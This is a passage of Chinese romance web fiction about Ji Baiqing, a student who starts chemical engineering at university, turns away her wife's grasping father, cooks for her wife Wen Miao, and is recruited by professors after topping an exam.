想了想宿舍的环境,季白青略微犹豫一会儿后还是开了口:“宿舍的环境不太好,要不要搬出去住?” 温淼没多想,很快摇了摇头。 “我住宿舍就好了,总要融入同学的呀,而且我能习惯的,宿舍的环境也没有你想的那么差。” 季白青总是喜欢将自己看得太过娇弱,温淼却并不觉得自己是那样的人。 不过是在恋人面前会变得娇气一些而已,那是因为知道对方会将所有的偏爱都落在她身上。 听她这么说,季白青只好点头,强调道:“那周末没课不忙的时候就回去,我到时候给你做好吃的,要是有什么不高兴的,可以写在日记本上,回来和我说。” 看她张口说出一连串的话,一点都放不下心,温淼有些哭笑不得。 她将人还要说的话打断,轻声道:“我知道啦,心里有分寸的,你别担心,快回去吧。” 两人都走到校门口了,这人还黏黏糊糊地舍不得离开。 闻言,季白青只能依依不舍地对她点了点头。 “那周末再见了。” 温淼应下,趁着来往的人群没有注意到,将人的肩膀按低,一口亲在她的脸颊上。 柔软的触感一触即分,季白青还没反应过来,就见着明艳的美人笑着对自己摆手。 “周末见。”她道。 季白青摸着刚被亲的脸颊,弯起唇,“周末见。” 看着人转身往学校里走,背影在拐角再看不见后,季白青才出了学校。 从京市大学门口上了公交,她没有回家,乘着车往李文宇家的方向去。 前年和温淼去过一次,她还有些印象。 在站台下了车,走到李文宇住的筒子楼前,季白青先是去买了五个鸡蛋,拎着鸡蛋,她在楼下随意拦了个短发大娘。 “大娘,你知道李文宇家在哪吗?” 被拦下的短发大娘温雅,将她上下大量了一遍,问道:“你是?” 季白青笑了笑,“我是李文宇他远房亲戚,按照辈分来说,他也应该叫我一声姑奶奶。我娘和爹听说他在京市里混得可好了,就让我来投奔他,说他肯定能给我这个姑奶奶安排一份工作。” 闻言,大娘一口唾沫啐在地上。 “他?混得好?” “姑娘,我看你是消息不畅通啊,早在去年年前,李文宇就因为作风问题被革职了,没有地方愿意收他,她们一家花钱又大手大脚的,哪里有什么钱,就连之前给他娘和爹买下的房子都卖出去了,现在一大家子都挤在筒子楼里。” 她见季白青一身上下都精致服帖,不带补丁,手上还戴了块精致的表,一看家世就不错,便好言相劝道: “姑娘,你可千万别上他家的门,不然他们肯定要问你借钱,借出去之后就别想着他能够还回来了。” 说到这里,大娘的脸色又黑了些,骂道:“李文宇那个没用的窝囊废!借了我家一块钱还没还呢!整栋筒子楼都被她们借遍了,算下来应该有大几百!” 季白青诧异道:“怎么借了那么多钱?按理来说,她们多少也会有点存款的啊。” 大娘摇了摇头,一脸晦气。 “谁知道。” “行了,小同志,听大娘一句劝,你可千万别上门。” 季白青回神点头,将手上的鸡蛋给了大娘。 “原本要给李文宇她们带的礼物,现在用不上了,大娘给你吧。” 大娘没想到说上几句话就能够有天降鸡蛋,下意识接过之后,反应过来便想要还给她,季白青却早就神思不属地转身走了,怎么叫都叫不听。 最终大娘只能够收下鸡蛋。 季白青将李文宇的大概消息打探清楚之后,心里有了个大概。 只是她不知道李文宇她们借了那么多钱,到底花哪去了?难不成就只是日常花销?总觉得也不对。 不过难怪说要翻墙进她们家偷东西,原来是已经走到穷途末路了。 既然如此,那她们一家登门这种事便不可能只发生一次。 她的眉头微微皱起,在心里慢慢思索着相应的办法。 不可能让李文宇带着他那一家子来上门打秋风的,就算是真的要上门,季白青也要把她们打回去。 回到家后,简单做了个晚饭,季白青将李文宇和陆有德的现状大概记了下来,又算了算陆延刑满释放和沈念念回城的时间,将最近几年简单做了个规划。 将关键的时间点列出来后,夜色已经深了。 季白青伸了个懒腰,开口唤人:“老婆……” 话才刚开头,她忽然反应过来温淼已经报了名留在学校了。 轻叹了一口气,季白青打水洗澡洗漱后,躺在冷飕飕的被窝里都睡不着。 最后还是将温淼穿过的外套铺在枕头上,她才慢悠悠地睡着了。 季白青孤家寡人在家呆了两天,跟个幽魂似的,很不适应,好在也到了开学时间。 将自己必备的东西收拾好,又往行李里塞了几件温淼的衣服,她揣了些钱,出门坐着公交往华清大学去。 她在二十一世纪的时候学的是机械电子工程,填报志愿的时候也没想过再学相关的专业。 最后填报了华清大学的化学工程专业。 化学工程专业招收的学生并不算多,一共有三个班,每个班三十个学生。 她分配到的宿舍倒是要比温淼的好上一些,是六人寝,其它的倒是和京市大学没什么不同,水房、澡堂和厕所都是公共的。 去报名的时间早,季白青注册登记后谢绝了学姐的好意,自己根据学校标着的路牌去领了补贴和饭票,将所有的事项都弄清楚之后已经到九点了。 季白青这才拿着行李往宿舍走。 她是最早到宿舍的,选了个下铺的位置,将带来的床单被套套上之后开始收拾自己的行李。 上午只有另外一个舍友到,女生比她矮一个头,有着一张小圆脸,笑起来十分讨喜*。 她一打开门,见到季白青后眼睛一亮,和她打招呼: “你好,我是丁佳盈。” 季白青对她微微一笑:“我是季白青。” 刚见面,两人的话都不太多,一直收拾到中午,丁佳盈拍了拍手,看了眼正在写写画画的季白青提议道:“白青,我们一起去食堂吃饭吧。” 季白青没有拒绝,两人往食堂走。 今天报名,食堂的人不少,还有些家长也在,原本的冷气都散去不少。 季白青和丁佳盈排队打了饭后找了很久才找到一个空下的位置。 一起吃饭将两个人的关系拉近不少,加上丁佳盈的性格本来就热情,两人一边吃饭,一边说话,都对彼此有了大概的了解,比先前熟稔几分。 在回去的路上,丁佳盈一瞟,才看见了季白青手上的戒指。 她眼睛微微瞪大,声音压低询问道:“白青,已经有对象了吗?” 季白青也下意识垂眸看向手指上的戒指,金戒指太过高调,两人都换成了银戒,将另一个戒指当做项链挂在脖子上,用衣服遮挡。 想到了几天没见着的温淼,她弯起唇,眉目间多了几分缱绻的温柔,原本先得清淡冷疏的面容瞬间显得平易近人起来。 她解释道:“我已经结婚了,有妻子,我爱人就在京市大学就读。” 丁佳盈的唇瓣微微张大,京市比起溪宁镇更为开放一些,她也听过、见过一些妻妻,听见季白青说她有妻子倒也没有多惊讶。 她只是觉得季白青在提到她妻子前后表现出的差异有些大,她暗道,看来季白青一定很爱她的妻子。 这样想着,丁佳盈对季白青竖了个大拇指,发自内心地夸赞道:“你们妻妻可真厉害。” 季白青笑了笑,也夸了回去。 “你也很厉害。” 两人说话间就回了宿舍,季白青点出少了的生活用品,打算去学生合作社将东西买齐,问了一嘴丁佳盈有不有缺的,她记下来之后将东西买齐。 学生合作社里买东西的人不少,选东西、排队都花了不少时间。 等她带着东西回到宿舍的时候,另外几个舍友已经陆陆续续到了。 正在和她们说着话的丁佳盈见季白青回来后,接过自己的东西,对她道谢。 “白青,这里是多少钱,我把钱和票给你。” 季白青报了个数,收下了钱。 丁佳盈给她们相互介绍:“这是季白青,是潇南人。” “白青,这是孔先瑞、李唯一、王玲。” 季白青对她们颔首。 刚才进门的时候瞟了一眼门口贴的名单,就剩一个孙晓天还没来。 孙晓天在下午四五点的时候才姗姗来迟,众人帮着她一起收拾东西,半个多小时搞定,便约着去食堂一起吃饭。 一顿饭过去,季白青对宿舍里的人的脾气摸了个大概。 都挺好相处的,不是沈念念那种奇葩。 今天晚上有班级会议,她们吃了饭没回宿舍,直接往开会的教室走。 到的时候挑了个前面的座位坐下,季白青想着待会儿应该也是摸鱼,便在笔记本上慢慢写着大学五年的计划,到最后的时候已经无聊到开始乱涂乱画。 时间一到,新生班主任已经到了,教室人齐,她便开始将校规校纪简单说了一遍,又给众人说了一遍化学工程的专业目标和课程安排、考核方式,最后强调了一番集体纪律。 说完之后,并没有散会,还需要将班干部给选出来。 党团干部都和季白青没有关系,因为她没有入党。 她虽然是坐在第一排,但还是摸鱼摸得心安理得。 等到挑选班长的时候,季白青戳着本子神游,丁佳盈突然戳了戳她的手,小声提醒她:“白青,老师叫你。” 季白青抬头,和班主任对上视线,一时间气氛有些尴尬。 班主任站在讲台上看着她,眉头皱起,问道:“同学,你叫什么名字,刚才一直低头是在干什么?” 季白青:“……” 忘了现在的老师和以前对学生摸鱼睁一只眼闭一只眼的老师的要求不大一样。 她站了起来,字正腔圆道:“老师,我刚才是在写班干部的竞选发言稿。” 丁佳盈侧目看着季白青笔记本上画着的火柴人,嘴角抽了抽。 真能说啊,说的跟真的一样。 闻言,班主任的眉头松了松,问:“你想当什么班干部啊?现在班上还缺个班长,你读读你的稿子。” 季白青:“……好的老师。” 她绕过课桌站上了讲台,班主任见她没有那本子,奇怪道:“你的稿子不拿了吗?” 季白青露出个尴尬不失礼貌的笑,看了丁佳盈一眼,对方默默帮她把笔记本合上。 “老师,我已经倒背如流了。” 季白青没给她再开口的机会,想着上辈子面试的经验,就开始扯自己的优势。 “大家好,我是季白青,今天想要竞选班长……力气挺大,脾气还行,女生有什么事都可以找我帮忙……如果大家愿意的话可以投我一票,不愿意也没关系,重在参与。” 千万别给她投票,季白青面上微笑,心口十分不一。 班主任听完了倒是满意地点了点头,便开口道:“不错,大家如果觉得季白青同志可以担任班长这一职务的话,就举手投票。” 她们班女生居多,不少人都给面子地举起了手。 还不等季白青说些什么,班主任拍板道:“那行,季白青当我们化工二班的班长。” 季白青尝试做最后的挣扎:“老师,我可能不太有经验……” 班主任摆了摆手,“谁有经验,慢慢学吧,行了,快下去吧,还有其她的班干部要选呢。” 季白青默默回到了座位上,表情还是与刚才如出一辙的冷淡镇定,只是眸中带了几分淡淡的惆怅。 摆烂计划一整个大失败。 丁佳盈默默拍了拍她的肩膀以示安慰。 班干部大多都是女生,季白青想着自己力气大,还是可以帮衬帮衬她们,到底也没再说什么。 开完会后,季白青帮着班主任把教科书发了下去,领了书本后,她们各自回宿舍。 晚上十点就断电了,宿舍里其她人还在小声地说着话,季白青躺在床上没有参与,想着这周的课表,有些愁。 都快忘了这时候大学上课课程紧,只有周天一天的休息时间,可能还会被政治学习占用一部分。 温淼学的语言专业,肯定会有早晚读,她的课程安排也是满满当当,除了日常的上课之外,还有一周不少于三次的实验需要做。 光是想着,季白青就觉得有些头疼。 但是如果靠着摸鱼过去,也还好,她也不需要那么上心。 可季白青和温淼都对课业都认真,自己选好的专业,无论如何都会好好学。 所以现在摆在她面前的赤裸|裸的现实就是,她和温淼虽然在同一个城市,但大概会长时间处于“异地恋”状态。 想着,青年叹出一口气。 声音不大,却还是被丁佳盈她们捕捉到了。 孔先瑞小声问:“白青,你要睡觉了吗?” 季白青顺势应了下来,寝室里瞬间安静下来。 翻了个身,隐约还能够听见风拍打窗户的声音,她闭着眼,开始酝酿睡意。 第二天开始上课,华清大学需要早上跑操,跑完操后再去吃饭,化工的课程从早八排到晚九,在不同的教室连轴转,就连吃饭都是抽出点时间应付。 回到宿舍的时候,几个人都已经摊倒在床上。 看着季白青坐在桌前整理笔记,丁佳盈问道:“白青,你不累吗?” 季白青将书上的重点勾画出来,声音里的情绪很淡:“还行。” 比起在地上干活,上课虽然是脑力劳动,但在季白青可以承受的范围之内。 闻言,宿舍的其她女生纷纷从床上坐起,下床也开始复习整理。 将笔记整理好后,做了些题,季白青看了看明天要学的内容,心里有了个大概之后就拿着盆去洗澡洗漱。 回来的时候其她人还在奋笔疾书,季白青擦干了头发,安详地躺在床上准备睡觉。 一开始还睡不着,将今天学习的内容在脑海中默默背诵一遍,背得差不多的时候,也困了。 周二开始进实验室,学习各种实验,课程结束后,季白青又在实验室泡了几个小时,然后去图书馆借阅书籍,就这样忙到了周六傍晚。 周日没有什么其它安排,在京市有住处的同学可以直接回去。 季白青将整合的笔记收好,又带了些在学生合作社里看着的给温淼买的礼物,装进书包里放好后,她准备回去。 王玲咬着馒头,见她赶回来又要离开宿舍,连忙问道:“白青,你要去图书馆吗?等等我,我和你一起去。” 整个宿舍的学习氛围这么浓厚,全靠季白青带着。 毕竟无论是谁看到了别人学习那么用功都会忍不住心慌的。 季白青心情还挺好,笑着解释道:“不是去图书馆,我回家。” 王玲一呆:“你不是潇南的吗?一天的时间回家够吗?” 季白青这回真没憋住笑,她弯着眼:“不是的,我爱人在京市有房子,我是要回那。” 王玲愣愣点头,心里嘀咕道,季白青什么时候居然都结婚了。 这件事只有丁佳盈问了,季白青便只告诉了她,丁佳盈口风又紧,所以其她舍友不知道。 坐着公交车回到了家,进了屋里,季白青见家里的陈设还和离开时一样,有些失落。 怎么还没回来? 她将东西收拾好,随意做了点晚饭吃。 吃到一半,听到了屋外传来的敲门声,她立刻站了起来。 在心里暗暗思索,难道是温淼忘记带钥匙了? 走到院子里将门打开,结果却发现门前并不是自己想见的人。 季白青毫不犹豫将门关上。 “诶!等等!” 【作者有话说】 这个青青一天不见老婆就开始焦虑 今天有点事,所以少更点~明天争取写多,么么! 感谢投雷营养液,感谢评论订阅收藏 预收,八零预收,收藏一个吧,买不了吃亏买不了上当,这本彻底完结后休息一个礼拜就会开!(大概 117 第117章 ◎问题◎ 李文宇的声音传到季白青的耳中,季白青皱起眉,并不想给他和自己说话的机会。 只是这男人的手现在还包着纱布,包成了猪蹄的样子,看样子伤势应该是好得差不多了,以至于一点都没有记住上一次给的教训。 他十分不要脸地将自己的手夹在了即将关闭的门缝之中,随后趁着季白青的动作慢下来后,跟条泥鳅似的一下挤进了屋子里。 刚才被夹得还是有些疼,新伤叠旧伤,进了院子里李文宇又是龇牙咧嘴好一会儿。 等到他终于缓了过来,眼睛一睁大就看见了季白青抱胸面无表情地盯着自己,眼里充斥着十足的低气压,李文宇的心脏重重一颤,生怕她一个不爽又要对自己动手,立马开口道: “那个……女媳啊,上次的事我知道错了,今天来找你不是为了其它,是有正事想要和你商量商量,你看我们坐下来好好说说话行不。” 上次这人还昂首挺胸地对季白青说她没有资格进她们李家的门,现在不过是几天过去,倒是拉下了脸皮,开始亲亲热热地叫起她女媳来了。 可惜,她不吃这一套,毕竟李文宇又不是被温淼承认的爹。 面前的人不过是个彻头彻尾的人渣败类罢了。 季白青将门打开,冷声道:“不想听,现在就滚出去。” 她深知李文宇的德行,自然也知道这个男人的狗嘴里吐不出什么象牙,更没有要和他继续交谈下去的欲望,他要说的无非就是那点事。 原本就因为差不多一个礼拜没见着温淼情绪有些焦躁,现在她话中的戾气更是憋都憋不住,十分冲人。 李文宇缩着脖子,最后还是梗着脖子又往院子里深入几步,明显是一点也不想走。 见季白青往自己的方向靠近几步,李文宇又想起来先前几次被她打的经历,猛地闭上了眼睛,不敢再多看,生怕拳头下一秒就落下来。 他迟迟没有感受到痛意,最后悄咪咪睁开了眼,见她冷若冰霜的脸后又紧紧闭上了眼,颤颤巍巍地大喊道:“我、季白青你快停下来,我这次就是来找你们借点钱的,温淼呢?我要和温淼说,你让温淼来见我。” 季白青深吸一口气,这人偏偏哪壶不开提哪壶。 不提温淼还好,他要见温淼,季白青自己都没地方见,从哪给他找出个温淼来? 扯着他的衣领,她毫不费力地拖着人往外走。 李文宇情不情愿她也不管,反正他的瘦条条一个,挣扎都没几分力道,拖着他跟拖一条死猪似的轻松就把人拉到门口,直接丢出了门外。 要关门的时候,李文宇像个狗皮膏药似的再次粘了上来,双手扒着门,不让她关上。 到底是不想给那点医药费,季白青没有直接压下去。 李文宇此刻也顾不上什么脸面了,眼泪哗哗地往下掉,“女媳啊,我们这回真的是走投无路了,你看在淼淼的面子上就帮帮我们吧。” 季白青忍着脾气,不想看他放大的涕泗横流的脸,将按在门上的手松开,一脸嫌弃地往后退了一步 男人原本将全身重量都压在手上,就是怕门被彻底关上后下次见她就不知道是什么时候了。 这下季白青放开了门后,在惯性影响之下,他的身体往前倒,结结实实摔在地上摔了个狗吃屎。 趴在地上,李文宇艰难地抬起头,对上季白青居高临下的眼神,他咬了咬牙,到底是有求于人,只能够将怨恨的情绪往心里藏,脸色扭曲一瞬艰难恢复正常。 他强撑着扯出一个笑,硬着头皮套近乎:“我就知道你肯定不会不管我的,你真是我最满意的女媳了,哈哈。” 季白青不为所动,看他还要继续说些什么。 “那个我只是想要借点钱,以后有钱的时候肯定就会还给你们的,你们放心。”这套说辞,如果温淼在场的话就可以立马辨认出来他是在撒谎,毕竟这样的说法她从小听着李文宇说。 只是小时候从她手里骗去的钱,一直到现在,李文宇还从来没有还过。 到了他手里的东西,就别想着有要回去的时候。 还钱不过是嘴上说说而已。 虽然温淼不在,季白青也并不会信他的鬼话,见他摔得鼻青脸肿的模样,心中嫌弃更甚,又往后退了一步,问:“你要借多少?” 李文宇艰难地爬了起来,扶着门板喘了口气,最后对她讨好一笑,伸出手比了个五。 “五十?”季白青盯着他。 李文宇解释:“是五百。温淼有很多钱,她姑姑奶奶给的,她妈留下的钱,多得很,你该不会不知道吧?” 似乎是笃定了他所说的就是真相,李文宇瞬间多了几分底气,继续道:“你可以跟她说我要借六百,这样的话多出来的一百你可以独吞,我们俩合作,你放心,我不会和温淼说的。” 他想着,季白青不过是个从乡下来的土包子,一身打扮这么像城里人也都是花的温淼钱,身上能有个十块八块的就不错了,肯定没见过那么多钱,温淼又一向都将她身上的钱保管得很好,没准她有多少钱存款季白青还真不知道。 这样看来,他提出来的这个建议简直不要太有吸引力,还白让面前这个疯女人得了一百块钱。 那可是整整一百块钱! 想到这个数目,李文宇的心里都在滴血。 如果可以的话,他想要将六百都占为己有,可惜舍不着孩子套不到狼,只有狠下心来才能够将季白青拉拢到自己的阵地上。 说完这话后,他胸有成竹地看着季白青,就等着对方答应。 毕竟哪个乡下人能够拒绝那么多钱? 对上他的视线,季白青微微一笑。 再次确定数目:“你要五百?” 李文宇矜持点头,就是配上鼻青脸肿的猪头样子让人忍俊不禁。 季白青盈盈一笑,靠近李文宇。 感受到女人靠近,李文宇的身体下意识僵住,生怕她又给自己来一拳。 不过转念一想,两个人合作共赢的事,她怎么可能会打…… “啊!”李文宇被一脚踹出门外,捂着小腹整个身体都蜷缩起来。 他爹的,这个死女人怎么又打自己! 门被重重关上,李文宇摊倒在地上,哀嚎好一会儿,在墙角躲着的王瑶这才走出来,小心翼翼地将人扶起。 “老李,怎么样,借到了吗?” 李文宇往地上吐出了一口血沫,眼神怨恨地等着那扇锈红的门,像是要将其盯出来一个洞。 他哑声断断续续道:“借到了……个屁!都是你说要把钱拿去干那事!不然……不然我怎么……变成这样。” 王瑶话听了一半,原本以为有了把握,在听完后,咬着牙念叨:“温淼都那么多钱了,借一点给我们怎么了,她算什么好女儿,一点都不在意你这个爸爸,也不在意她妹妹和弟弟。” “看你生的好女儿!”她瞪了李文宇一眼。 李文宇冷笑一声,“她身上流着温泠月的血,所以生下来就这么冷血,一点不顾及血缘亲情。” 说完后,他又看了王瑶一眼,神情不耐。 “你生的女儿又好到哪去,弄得我们全家都要因为她的事跑上跑下,回去你给我好好教育光宗,让他以后别学李欣。” 说完,他趁着这会儿人还少,没人看到自己狼狈的模样,连忙让王瑶扶着自己离开。 别待会儿又被人看到了,那他真是将一张老脸都丢尽了。 人走了之后,季白青贴在门上的耳朵收回,站直了腰,思索着刚才所听到的妻夫两人的话。 所以,李文宇她们借钱是和李欣有关系? 她垂眸,浓密卷翘的长睫垂下,挡住了眸中的情绪。 回去继续将已经变冷的晚饭吃完,随后拿出来了专业课的笔记复习,一直等到了晚上八点,夜色浓稠之际,温淼还没回来,大概是这周是真的太忙了。 季白青叹了口气,在床上辗转反侧,半夜才睡着。 第二日一早,她起床做了早饭随意糊弄几口后,立马去食品站买东西。 既然温淼太忙回不来,那她现在有空,可以主动去京市大学看她。 她记得上次去京市大学食堂吃饭的时候,打的饭菜并不算多好吃,只能勉强算是凑合,也不知道温淼吃不吃的习惯,有没有瘦, 现在她有时间,自然是要做些好吃的送去给温淼改善改善伙食。 买了香料和肉,又秉着荤素搭配的营养原则,买了些蔬菜,天气由冷转温,季白青又去供销社给温淼买了两件薄外套,这才拎着大包小包往家里赶。 用香料煮出卤水,将买回来的肉卤好,因为政策放宽,季白青在回家的路上还看到有人在路边卖鸡蛋,便顺带买了二十几个鸡蛋,另外起锅煮了一锅茶叶蛋卤料,将鸡蛋清洗干净之后放了进去。 等待着卤肉和茶叶蛋入味的时间,季白青另外炒了个西红柿炒鸡蛋、醋溜土豆丝,还炖了个排骨山药汤。 今天去供销社的时候看到有多层饭盒卖,她特意买回家了,打算多做些好吃的一起带过去。 多出来的温淼吃不了的那一部分是给她的舍友做的,用来让温淼和舍友打好关系。 从九点多钟忙活到十一点,总算是将一切都弄清楚了,季白青两个手都拎着饭盒,肩上背着书包出门了。 坐着公交车到了京市大学,季白青进了学校里,才发现都不知道该怎么样才能联系到人。 不知道温淼现在是在教室图书馆还是食堂,学校这么大,找人也找不到。 没有手机还挺不方便的,她轻叹一口气,最后还是决定先去宿舍等着。 不能直接进到宿舍里面,她在门口等着温淼,只希望她别到了晚上才回宿舍,不然饭菜都该冷了。 好在她的祈祷是有效果的,在门口等了半个多小时,季白青视力还挺好,远远地看到一道纤秾合度的身影走近,是温淼,她身边还站着两个女生,季白青没什么印象,应该是舍友。 季白青站在原地,浅笑等着人过来。 等到她们走近的时候,才听到了几人的对话,季白青唇角的笑意慢慢淡下来。 一个双马尾的姑娘开口:“温淼,我哥长得还挺帅的,他说很喜欢你,你真的不考虑一下?” 温淼拒绝得很果断:“我不喜欢男的,而且我已经结婚了。” 闻言,女生还有些不相信,毕竟温淼看起来这么年轻,怎么可能结婚了呢,别都是借口。 正想要再多劝劝,却突然见一个瘦高的姑娘走到了温淼身边,十分自然地扣住了她的手,声音里带了点委屈,低声对温淼道:“等你好久,怎么现在才回来?” 温淼一愣,眼睛弯起来:“刚从图书馆回来。” 双马尾看看她,又看看面上多了几分笑意的温淼,结巴问:“这、这是谁?” 温淼看向她,“夏同学,这是我爱人,现在你能相信了吧。” 季白青在一边适时插了一句话,疑惑问:“老婆,你们刚才在说什么?” 双马尾:“……没什么!” 她总不能说是在撬她的墙角吧,想到这,双马尾觉得有些尴尬,胡乱说了几句话之后便再也待不下去,一溜烟进了宿舍。 见到季白青来了,妻妻俩人明显想要独处,温淼的室友孙程程十分有眼色,也不准备多呆,和温淼道:“淼淼,你和你爱人先聊着,我先上去了。” 季白青叫住了她,笑着将手上拿着的饭盒递给她道:“孙同学,这是我给你们做的一点吃的,麻烦你们在这段时间照顾淼淼了,如果不嫌弃的话可以回宿舍尝尝。” 看她袋子里装着的几个饭盒,绝对不是一点那么简单。 孙程程有些受宠若惊,下意识看了温淼一眼,见她点头,这才接过。 她嘿嘿一笑:“那我就拿上去了,你们妻妻好好聊天!” 说着,她对温淼使了个眼色,脚步轻快地回了宿舍。 刚开始要宣示主权的人此时难得有些不好意思,手微微放松,正准备将人的手放开。 意识到了她的意图后,温淼手指用力,将她的手扣拢。 两人走到角落说话,避免挡住别人回宿舍。 “你怎么来了?温淼问。” 季白青哼了一声,幽幽看着她:“还能怎么,想你啊。” “小没良心的,是不是一点都不想我?” 如果不是一只手被温淼牵着,另一只手提着饭盒,她决定会伸手戳戳面前没心没肺大美人的额头。 温淼平白被污蔑,捏她的指骨:“乱说,我也想你的。” 她道:“只是最近有比赛,老师点名让我参加,我也挺想去的,所以这几天都在图书馆,要么就是面对面和老师练习口语,抽不出时间回去了。” 两人面面相觑,季白青只觉得有些命苦。 忙,忙点好啊,她只能这么安慰自己。 再次在心里叹了口气,她问温淼:“吃饭了吗?” 饭盒里的饭还热乎,现在吃味道正好。 温淼点头,见季白青有些失望,立马补充一句:“但是还可以吃,早上和中午都没有吃多少。” 她是一累起来就吃不下饭的体质,这些天为了比赛连轴转,每天也就胡乱吃几口维持身体体征,季白青和她相反,越累就得多吃点,不然根本干不下去活。 季白青眯着眼睛将她上下打量一遍,有些心疼。 “又瘦了。” 感觉养温淼跟养孩子似的,对方的体型体重她都牢牢记在心里,有一点变化都能轻易看出来。 想到温淼还没吃饱,她也没再多说,和温淼一起找了一处没人的凉亭开始吃饭。 原本就是打算和温淼一起吃饭的,季白青也带了两双筷子,打了两份饭 饭盒被打开,看着里面五六个菜被摆出来,温淼有些惊讶。 “怎么准备这么多?” 季白青将甜口的蜜汁猪排夹进她的碗里,随口解释:“怕你在学校吃得不好,有时间不得多做点。” 西红柿炒鸡蛋没有额外放糖,舀了点汤汁给她拌饭,酸酸甜甜的也很开胃。 温淼闻着熟悉的饭菜香,此时才久违地感受到了饿意。 尝了口蜜汁猪扒,咬破表层酥嫩的皮,鲜香甜蜜的汁水在嘴里迸开,软软糯糯,甜而不腻。 温淼眯着眼睛,咽下去之后弯着一双眼睛对季白青道:“谢谢阿青,特别好吃。” 说着,给季白青也夹了块。 原本就是想着给温淼做的,甜口的食材季白青敬谢不敏,但温淼亲手夹的还是要吃的。 她面不改色吃下,将剩下的全挪到温淼面前:“你吃,不用管我,再尝尝卤牛肉。” 夹了片牛肉送到温淼的唇边,温淼张唇咬住。 两人很久都没有这么长时间不见面,对彼此都有些黏糊,你喂喂我,我喂喂你,周身的气氛都冒着粉色泡泡。 半个小时过去,确认温淼吃饱后,季白青将剩下的一点饭菜都解决了。 知道温淼又要去忙了,她将书包里的茶叶蛋和给她买的衣服都拿出来给她,叮嘱道:“茶叶蛋顶多放两天,吃不完给舍友同学都分分,天气热了之后就把外套换下来,上午刚买的,洗了还没有晒干,你待会儿上宿舍把衣服晾开再去忙。” 说完一堆,季白青都觉得有些口渴,咽了口口水,看着对面的温淼,她声音弱了下来:“蓁蓁,会不会觉得我有点烦?” 温淼睁圆了眼,正打算听她把叮嘱的话说完呢,就听见她这么一句话。 她立即反驳:“怎么会?一点也不烦。” 女人神色认真:“我喜欢听的。” 这是季白青在关心自己,温淼才没有那么不识好歹。 季白青这才露出个笑,揉了揉女人的发,在她脸颊上亲了两口。 “行了,你去忙吧,我也先回去了。” 两人分开后,季白青将东西收拾好,先是去市里的图书馆借了需要的书,又去书店买了几本书练习册,顺带问了一嘴店员的意见,在她的推荐之下给温淼也买了几本练习册和听力教材,打算晚上一起带给她。 从书店出来后,她又去了一趟食品站,买了些肉和黄豆还有另外的材料,回家做黄豆肉酱。 花了一下午的时间做好后,她将黄豆肉酱放在罐子里存好,一共有六罐,拿了两罐出来待会儿给温淼送到宿舍楼下,另外两罐她拿去学校,还有俩她给了一罐给李婶,给了罐给陆霁。 温淼的比赛要准备一个多月的时间,季白青目前只能接受这个残酷的现实,周日晚给温淼送了东西后就回了宿舍。 她给舍友们也都带了个茶叶蛋,分给她们尝尝味。 第一周的化工的课程虽然看起来忙碌,但实际书本上的知识居多,都是靠着记忆。 在第二周,实验课多了一节,每一节实验课的实验也逐渐变得复杂起来,升高了难度。 在实验课上,大部分学生先前很少接触到相关的,第一次实验失败的不在少数。 不过季白青的手稳,专注力高,干什么都很认真,将心神全都放在实验上,每次实验前也会先查找书上所说的步骤,将注意事项铭记在心,所以才少有实验失败的经历。 即使是第一次实验没成功,第二次动手吸取了上一次的经验后也很快能够避开误区。 她不止动作利落,就连最后呈现出来的书面报告和实验数据也十分严谨漂亮。 不过是短短两周的时间,化工专业所有课程的老师都记住了化工二班的季白青,对她十分看重,表现在每节课都会点名让她专门回答疑难问题。 除了每周日会回家做饭送去给温淼改善伙食,其它时间季白青都在教室、图书馆和宿舍之间三点一线。 第一个月,华清大学的化工专业课进行了统一测试,对专业学生进行摸底,成绩出来后,粘贴在公告栏,第一名那一栏写着季白青的名字。 分数接近满分。 季白青没多久就被班主任叫去了办公室,办公室里还有其她几位专业课老师。 见她进门后,几人都目光灼灼地盯着她。 季白青险些被吓一跳:“……君姐、老师们好,叫我过来是有什么事吗?” 班主任叫王学君,大伙儿熟悉后都叫她君姐。 王学君见她来了,站起来爽朗一笑,拍了拍她的肩膀道:“白青啊,我就知道当初没有看错你,这次考试考得不错啊,是我们全专业的榜样。” 这和叫她来办公室的关系大吗?季白青瞅瞅她又瞅瞅屋子里另外三个老师。 她礼貌微笑道:“君姐,所以叫我来是有什么事吗?” 王学君哈哈一笑,对她道明目的:“就是最近张老师、李老师和于老师都想要带个学生跟着去实验室,每个月除了学校发的补助之外还另外有补贴,你看看你有意向吗?想要跟着哪位老师啊?” 她们专业课的老师人都挺不错,除了上课外,还有另外的研究,不少都愿意带有天赋的学生去实验室帮忙学习,屋里的三个想要带学生的也是女老师。 有机化学的老师叫张凤,于景教的高分子化学与物理,李思齐教的化工热力学。 此话一出,三位老师都目光炯炯地看向季白青,想要知道自己想要的学生到底会做出什么选择。 季白青一时间都还没有反应过来,被她们看得下意识往后退了一步。 意识到自己可能吓到学生了,于景轻咳一声:“那个白青啊,我看你在我课上的时候不是偶尔有实验不能一次成功吗?说明你还有进步的空间,跟着我学,你肯定能学到更多知识。” 张凤在她之后立马开口道:“白青,跟我的话,以后每天都可以去我家吃饭,你师爹做饭可好吃了。” 李思齐嘴笨,只说了一句*话。 “我给你的补贴肯定最高。” 季白青和她们对视,有些纠结。 说实话,跟在老师身后跑肯定是能够学到更多东西的,但是与此同时,自己的私人时间也会减少。 学生多少都是要给老师处理琐事的,她虽然精力旺盛,但也不知道能不能挺过去。 将其中利弊对比一番后,季白青心里有了打算。 她问:“我可以跟两个老师吗?” 闻言,张凤她们更是两眼放光,毕竟这样就意味着自己被选中的可能更大。 “当然可以!” 季白青忽然感觉自己是案板上一块遭人哄抢的猪肉。 不对,怎么能这么形容自己。 她默了默,看向角落的李思齐道:“李老师,抱歉,我对于老师和张老师的课程更感兴趣,但是我认为我舍友王玲很适合跟着你学习,她做实验的时候沉稳,计算也精确,几乎没有出错过,或许她比我更合适您。” 闻言,李思齐眼睛亮了亮。 王玲这个名字,她也有所耳闻,几次作业和报告交上来都写的很好,只是可能性格内敛,在老师面前的表现不太突出,所以难以被关注到。 听季白青这么一举荐,李思齐想了想,倒觉得还真不错。 “那白青你帮我问问王玲同学愿不愿意,如果愿意的话,明天晚上之前可以来我办公室找我。” 她们的对话结束后,原本还紧张着的于景和张凤瞬间松了一口气。 虽然自己的学生还有其她的老师,但是能够收下这么个底子和基础都好还有天赋、肯努力的学生,对谁来说都是好事一桩。 季白青看着转头看向她们,弯了弯唇:“那张老师,于老师,未来几年还请多指教。” 签了保密协议后,张凤和于景将自己整理的笔记和实验室相关的资料都给了她,让她回去好好看看,下个月开始便可以跟着她们进实验室、在一边辅助。 